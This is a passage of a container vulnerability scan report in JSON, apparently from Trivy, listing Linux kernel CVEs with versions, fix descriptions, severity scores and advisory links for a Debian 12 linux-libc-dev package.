"https://access.redhat.com/errata/RHSA-2026:15978", "https://access.redhat.com/errata/RHSA-2026:16018", "https://access.redhat.com/errata/RHSA-2026:16063", "https://access.redhat.com/errata/RHSA-2026:16111", "https://access.redhat.com/errata/RHSA-2026:16208", "https://access.redhat.com/errata/RHSA-2026:16209", "https://access.redhat.com/errata/RHSA-2026:16210", "https://access.redhat.com/errata/RHSA-2026:19074", "https://access.redhat.com/errata/RHSA-2026:19225", "https://access.redhat.com/errata/RHSA-2026:33486", "https://access.redhat.com/security/cve/CVE-2026-31431", "https://access.redhat.com/security/cve/cve-2026-31431#cve-details-mitigation", "https://access.redhat.com/solutions/7141931", "https://access.redhat.com/solutions/7141979", "https://access.redhat.com/solutions/7141990", "https://access.redhat.com/solutions/7141996", "https://access.redhat.com/solutions/7142032", "https://bugzilla.redhat.com/show_bug.cgi?id=2439852", "https://bugzilla.redhat.com/show_bug.cgi?id=2448745", "https://bugzilla.redhat.com/show_bug.cgi?id=2454844", "https://bugzilla.redhat.com/show_bug.cgi?id=2460538", "https://bugzilla.redhat.com/show_bug.cgi?id=2467022", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://cert-portal.siemens.com/productcert/html/ssa-328642.html", "https://copy.fail", "https://copy.fail/", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31431", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43077", "https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/9/html/managing_monitoring_and_updating_the_kernel/configuring-kernel-command-line-parameters_managing-monitoring-and-updating-the-kernel", "https://errata.almalinux.org/9/ALSA-2026-A002.html", "https://errata.rockylinux.org/RLSA-2026:13565", "https://git.kernel.org/linus/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5%20%287.0-rc7%29", "https://git.kernel.org/stable/c/19d43105a97be0810edbda875f2cd03f30dc130c", "https://git.kernel.org/stable/c/3115af9644c342b356f3f07a4dd1c8905cd9a6fc", "https://git.kernel.org/stable/c/893d22e0135fa394db81df88697fba6032747667", "https://git.kernel.org/stable/c/8b88d99341f139e23bdeb1027a2a3ae10d341d82", "https://git.kernel.org/stable/c/961cfa271a918ad4ae452420e7c303149002875b", "https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5", "https://git.kernel.org/stable/c/ce42ee423e58dffa5ec03524054c9d8bfd4f6237", "https://git.kernel.org/stable/c/fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/5.4.1/BRSA-qflqp6rcsegb.toml", "https://github.com/theori-io/copy-fail-CVE-2026-31431", "https://linux.oracle.com/cve/CVE-2026-31431.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042214-CVE-2026-31431-3d65@gregkh/", "https://lore.kernel.org/linux-cve-announce/2026042214-CVE-2026-31431-3d65@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31431", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-31431.json", "https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available", "https://ubuntu.com/security/notices/USN-8226-1", "https://ubuntu.com/security/notices/USN-8277-1", "https://ubuntu.com/security/notices/USN-8277-2", "https://ubuntu.com/security/notices/USN-8278-1", "https://ubuntu.com/security/notices/USN-8278-2", "https://ubuntu.com/security/notices/USN-8279-1", "https://ubuntu.com/security/notices/USN-8279-2", "https://ubuntu.com/security/notices/USN-8279-3", "https://ubuntu.com/security/notices/USN-8280-1", "https://ubuntu.com/security/notices/USN-8280-2", "https://ubuntu.com/security/notices/USN-8280-3", "https://ubuntu.com/security/notices/USN-8281-1", "https://ubuntu.com/security/notices/USN-8281-2", "https://ubuntu.com/security/notices/USN-8289-1", "https://ubuntu.com/security/notices/USN-8289-2", "https://ubuntu.com/security/notices/USN-8305-1", "https://ubuntu.com/security/notices/USN-8305-2", "https://ubuntu.com/security/notices/USN-8310-1", "https://ubuntu.com/security/notices/USN-8350-1", "https://ubuntu.com/security/notices/USN-8351-1", "https://ubuntu.com/security/notices/USN-8374-1", "https://ubuntu.com/security/notices/USN-8391-1", "https://ubuntu.com/security/notices/USN-8392-1", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8426-1", "https://ubuntu.com/security/notices/USN-8426-2", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8441-1", "https://ubuntu.com/security/notices/USN-8462-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://websec.net/blog/cve-2026-31431-linux-algifaead-page-cache-write-to-root-69f38a4ccddd2db1f520f170", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-31431", "https://www.cve.org/CVERecord?id=CVE-2026-31431", "https://www.kb.cert.org/vuls/id/260001", "https://www.openwall.com/lists/oss-security/2026/04/29/23", "https://xint.io/blog/copy-fail-linux-distributions", "https://xint.io/blog/copy-fail-linux-distributions#the-fix-6" ], "PublishedDate": "2026-04-22T09:16:21.27Z", "LastModifiedDate": "2026-09-08T15:13:07.273Z" }, { "VulnerabilityID": "CVE-2026-31432", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31432", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:71b008f4616d72482cebd5578152396c120798afed049ca8f5789765a8cf5dd9", "Title": "kernel: ksmbd: fix OOB write in QUERY_INFO for compound requests", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix OOB write in QUERY_INFO for compound requests\n\nWhen a compound request such as READ + QUERY_INFO(Security) is received,\nand the first command (READ) consumes most of the response buffer,\nksmbd could write beyond the allocated buffer while building a security\ndescriptor.\n\nThe root cause was that smb2_get_info_sec() checked buffer space using\nppntsd_size from xattr, while build_sec_desc() often synthesized a\nsignificantly larger descriptor from POSIX ACLs.\n\nThis patch introduces smb_acl_sec_desc_scratch_len() to accurately\ncompute the final descriptor size beforehand, performs proper buffer\nchecking with smb2_calc_max_out_buf_len(), and uses exact-sized\nallocation + iov pinning.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31432", "https://git.kernel.org/linus/fda9522ed6afaec45cabc198d8492270c394c7bc%20%287.0-rc7%29", "https://git.kernel.org/stable/c/075ea208c648cc2bcd616295b711d3637c61de45", "https://git.kernel.org/stable/c/515c2daab46021221bdf406bef19bc90a44ec617", "https://git.kernel.org/stable/c/533f84264e28c54a79257ea87d2f94a0fcc9a611", "https://git.kernel.org/stable/c/850452af77f55d185f9445e1f7a1db53c5e4aad4", "https://git.kernel.org/stable/c/d48c64fb80ad78b3dd29fb7d79b6ec7bd72bfc09", "https://git.kernel.org/stable/c/fda9522ed6afaec45cabc198d8492270c394c7bc", "https://lore.kernel.org/linux-cve-announce/2026042216-CVE-2026-31432-e990@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31432", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31432" ], "PublishedDate": "2026-04-22T09:16:21.41Z", "LastModifiedDate": "2026-10-30T13:18:39.77Z" }, { "VulnerabilityID": "CVE-2026-31433", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31433", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:103ee87fc7404b032f7a6d33578322687aee3f7db81e507da21985c05cbc6594", "Title": "kernel: ksmbd: fix potencial OOB in get_file_all_info() for compound requests", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix potencial OOB in get_file_all_info() for compound requests\n\nWhen a compound request consists of QUERY_DIRECTORY + QUERY_INFO\n(FILE_ALL_INFORMATION) and the first command consumes nearly the entire\nmax_trans_size, get_file_all_info() would blindly call smbConvertToUTF16()\nwith PATH_MAX, causing out-of-bounds write beyond the response buffer.\nIn get_file_all_info(), there was a missing validation check for\nthe client-provided OutputBufferLength before copying the filename into\nFileName field of the smb2_file_all_info structure.\nIf the filename length exceeds the available buffer space, it could lead to\npotential buffer overflows or memory corruption during smbConvertToUTF16\nconversion. This calculating the actual free buffer size using\nsmb2_calc_max_out_buf_len() and returning -EINVAL if the buffer is\ninsufficient and updating smbConvertToUTF16 to use the actual filename\nlength (clamped by PATH_MAX) to ensure a safe copy operation.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31433", "https://git.kernel.org/linus/beef2634f81f1c086208191f7228bce1d366493d%20%287.0-rc6%29", "https://git.kernel.org/stable/c/358cdaa1f7fbf2712cb4c5f6b59cb9a5c673c5fe", "https://git.kernel.org/stable/c/3a852f9d1c981fb14f6bf4e24999e0ea8088a7d7", "https://git.kernel.org/stable/c/4cca3eff2099b18672934a39cee70aed835d652c", "https://git.kernel.org/stable/c/7aec5a769d2356cbf344d85bcfd36de592ac96a5", "https://git.kernel.org/stable/c/9d7032851d6f5adbe2739601ca456c0ad3b422f0", "https://git.kernel.org/stable/c/b0cd9725fe2bcc9f37d096b132318a9060373f5d", "https://git.kernel.org/stable/c/beef2634f81f1c086208191f7228bce1d366493d", "https://lore.kernel.org/linux-cve-announce/2026042216-CVE-2026-31433-51e6@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31433", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31433" ], "PublishedDate": "2026-04-22T09:16:21.573Z", "LastModifiedDate": "2026-06-17T10:33:42.767Z" }, { "VulnerabilityID": "CVE-2026-31452", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31452", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0a70d7390fe26e1f8f073222d7ddf86f301dba9b05708697628a4d29338d11b8", "Title": "kernel: ext4: convert inline data to extents when truncate exceeds inline size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: convert inline data to extents when truncate exceeds inline size\n\nAdd a check in ext4_setattr() to convert files from inline data storage\nto extent-based storage when truncate() grows the file size beyond the\ninline capacity. This prevents the filesystem from entering an\ninconsistent state where the inline data flag is set but the file size\nexceeds what can be stored inline.\n\nWithout this fix, the following sequence causes a kernel BUG_ON():\n\n1. Mount filesystem with inode that has inline flag set and small size\n2. truncate(file, 50MB) - grows size but inline flag remains set\n3. sendfile() attempts to write data\n4. ext4_write_inline_data() hits BUG_ON(write_size \u003e inline_capacity)\n\nThe crash occurs because ext4_write_inline_data() expects inline storage\nto accommodate the write, but the actual inline capacity (~60 bytes for\ni_block + ~96 bytes for xattrs) is far smaller than the file size and\nwrite request.\n\nThe fix checks if the new size from setattr exceeds the inode's actual\ninline capacity (EXT4_I(inode)-\u003ei_inline_size) and converts the file to\nextent-based storage before proceeding with the size change.\n\nThis addresses the root cause by ensuring the inline data flag and file\nsize remain consistent during truncate operations.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31452", "https://access.redhat.com/security/cve/CVE-2026-31452", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://git.kernel.org/linus/ed9356a30e59c7cc3198e7fc46cfedf3767b9b17%20%287.0-rc6%29", "https://git.kernel.org/stable/c/07c1a31af18290054da3d18221b8bf58983c5d3a", "https://git.kernel.org/stable/c/110d7ef602659ce4d7947c5480f7ca2779696aaf", "https://git.kernel.org/stable/c/699bac4d4c951974d55b045c983d1de777215949", "https://git.kernel.org/stable/c/7920dcc571cef3d8aa9ee109c136125d61d41669", "https://git.kernel.org/stable/c/93cb2d103e5c707de0f7ad58a39b7f0fddc27aa6", "https://git.kernel.org/stable/c/c047332be7195833a5c5126816c2502df8269fe4", "https://git.kernel.org/stable/c/ed9356a30e59c7cc3198e7fc46cfedf3767b9b17", "https://git.kernel.org/stable/c/f53a5d9f32924bc2a810d2df243b7714da58b636", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/5.4.2/BRSA-nzimltdilqwm.toml", "https://linux.oracle.com/cve/CVE-2026-31452.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042248-CVE-2026-31452-9f5b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31452", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31452" ], "PublishedDate": "2026-04-22T14:16:39.46Z", "LastModifiedDate": "2026-11-05T22:18:32.243Z" }, { "VulnerabilityID": "CVE-2026-31455", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31455", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:78723a9afb782a9540bbff3746c2d4ef46fd822383687d23b45936e48de3a9f1", "Title": "kernel: xfs: stop reclaim before pushing AIL during unmount", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: stop reclaim before pushing AIL during unmount\n\nThe unmount sequence in xfs_unmount_flush_inodes() pushed the AIL while\nbackground reclaim and inodegc are still running. This is broken\nindependently of any use-after-free issues - background reclaim and\ninodegc should not be running while the AIL is being pushed during\nunmount, as inodegc can dirty and insert inodes into the AIL during the\nflush, and background reclaim can race to abort and free dirty inodes.\n\nReorder xfs_unmount_flush_inodes() to stop inodegc and cancel background\nreclaim before pushing the AIL. Stop inodegc before cancelling\nm_reclaim_work because the inodegc worker can re-queue m_reclaim_work\nvia xfs_inodegc_set_reclaimable.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31455", "https://access.redhat.com/security/cve/CVE-2026-31455", "https://git.kernel.org/linus/4f24a767e3d64a5f58c595b5c29b6063a201f1e3%20%287.0-rc6%29", "https://git.kernel.org/stable/c/239d734c00644072862fa833805c4471573b1445", "https://git.kernel.org/stable/c/4f24a767e3d64a5f58c595b5c29b6063a201f1e3", "https://git.kernel.org/stable/c/558e3275d8a3b101be18a7fe7d1634053e9d9b07", "https://git.kernel.org/stable/c/8147e304d7d32fd5c3e943babc296ce2873dc279", "https://git.kernel.org/stable/c/a89434a6188d8430ea31120da96e3e4cefb58686", "https://git.kernel.org/stable/c/bda27fc0b4eb3a425d9a18475c4cb94fbe862c60", "https://git.kernel.org/stable/c/d38135af04a3ad8a585c899d176efc8e97853115", "https://git.kernel.org/stable/c/e6cc490048f78b009259a5f032acead9f789c34c", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/5.4.2/BRSA-jncvirdg6oo5.toml", "https://linux.oracle.com/cve/CVE-2026-31455.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042249-CVE-2026-31455-1c26@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31455", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31455" ], "PublishedDate": "2026-04-22T14:16:40.013Z", "LastModifiedDate": "2026-11-05T22:18:32.45Z" }, { "VulnerabilityID": "CVE-2026-31476", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31476", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:db79778f0e10d6d94c230694a9d883ba9614a92711cb0e974874389daf84f6cc", "Title": "kernel: ksmbd: do not expire session on binding failure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: do not expire session on binding failure\n\nWhen a multichannel session binding request fails (e.g. wrong password),\nthe error path unconditionally sets sess-\u003estate = SMB2_SESSION_EXPIRED.\nHowever, during binding, sess points to the target session looked up via\nksmbd_session_lookup_slowpath() -- which belongs to another connection's\nuser. This allows a remote attacker to invalidate any active session by\nsimply sending a binding request with a wrong password (DoS).\n\nFix this by skipping session expiration when the failed request was\na binding attempt, since the session does not belong to the current\nconnection. The reference taken by ksmbd_session_lookup_slowpath() is\nstill correctly released via ksmbd_user_session_put().", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31476", "https://git.kernel.org/linus/9bbb19d21ded7d78645506f20d8c44895e3d0fb9%20%287.0-rc6%29", "https://git.kernel.org/stable/c/1d1888b4a7aec518b707f6eca0bf08992c0e8da3", "https://git.kernel.org/stable/c/4642ea35c03cf3d3558c009df4757cdb7af3f82d", "https://git.kernel.org/stable/c/6fafc4c4238e538969f1375f9ecdc6587c53f1cc", "https://git.kernel.org/stable/c/9bbb19d21ded7d78645506f20d8c44895e3d0fb9", "https://git.kernel.org/stable/c/a897064a457056acb976e20e3007cdf553de340f", "https://git.kernel.org/stable/c/e0e5edc81b241c70355217de7e120c97c3429deb", "https://git.kernel.org/stable/c/f5300690c23c5ac860499bb37dbc09cf43fd62e6", "https://lore.kernel.org/linux-cve-announce/2026042256-CVE-2026-31476-bb58@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31476", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31476" ], "PublishedDate": "2026-04-22T14:16:44.337Z", "LastModifiedDate": "2026-06-17T10:33:48.897Z" }, { "VulnerabilityID": "CVE-2026-31485", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31485", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c38a306fd327b92462a9513620f69eba7f4495cd7366eb060408b18ceb9d2972", "Title": "kernel: spi: spi-fsl-lpspi: fix teardown order issue (UAF)", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: spi-fsl-lpspi: fix teardown order issue (UAF)\n\nThere is a teardown order issue in the driver. The SPI controller is\nregistered using devm_spi_register_controller(), which delays\nunregistration of the SPI controller until after the fsl_lpspi_remove()\nfunction returns.\n\nAs the fsl_lpspi_remove() function synchronously tears down the DMA\nchannels, a running SPI transfer triggers the following NULL pointer\ndereference due to use after free:\n\n| fsl_lpspi 42550000.spi: I/O Error in DMA RX\n| Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000\n[...]\n| Call trace:\n| fsl_lpspi_dma_transfer+0x260/0x340 [spi_fsl_lpspi]\n| fsl_lpspi_transfer_one+0x198/0x448 [spi_fsl_lpspi]\n| spi_transfer_one_message+0x49c/0x7c8\n| __spi_pump_transfer_message+0x120/0x420\n| __spi_sync+0x2c4/0x520\n| spi_sync+0x34/0x60\n| spidev_message+0x20c/0x378 [spidev]\n| spidev_ioctl+0x398/0x750 [spidev]\n[...]\n\nSwitch from devm_spi_register_controller() to spi_register_controller() in\nfsl_lpspi_probe() and add the corresponding spi_unregister_controller() in\nfsl_lpspi_remove().", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": 